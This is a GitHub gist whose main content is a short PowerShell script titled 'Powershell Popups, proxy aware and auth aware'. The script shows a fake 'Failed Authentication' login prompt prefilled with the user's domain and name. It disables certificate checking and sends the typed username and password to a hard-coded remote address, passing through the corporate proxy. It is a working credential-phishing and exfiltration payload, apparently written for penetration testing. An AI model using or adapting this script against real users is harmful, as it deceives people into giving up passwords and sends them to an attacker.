Skip to content

Instantly share code, notes, and snippets.

@mubix
Created January 12, 2015 20:22
Show Gist options
  • Save mubix/b0fee7ba02ba8a225125 to your computer and use it in GitHub Desktop.
Save mubix/b0fee7ba02ba8a225125 to your computer and use it in GitHub Desktop.
Powershell Popups, proxy aware and auth aware
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('https://172.16.102.163');
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment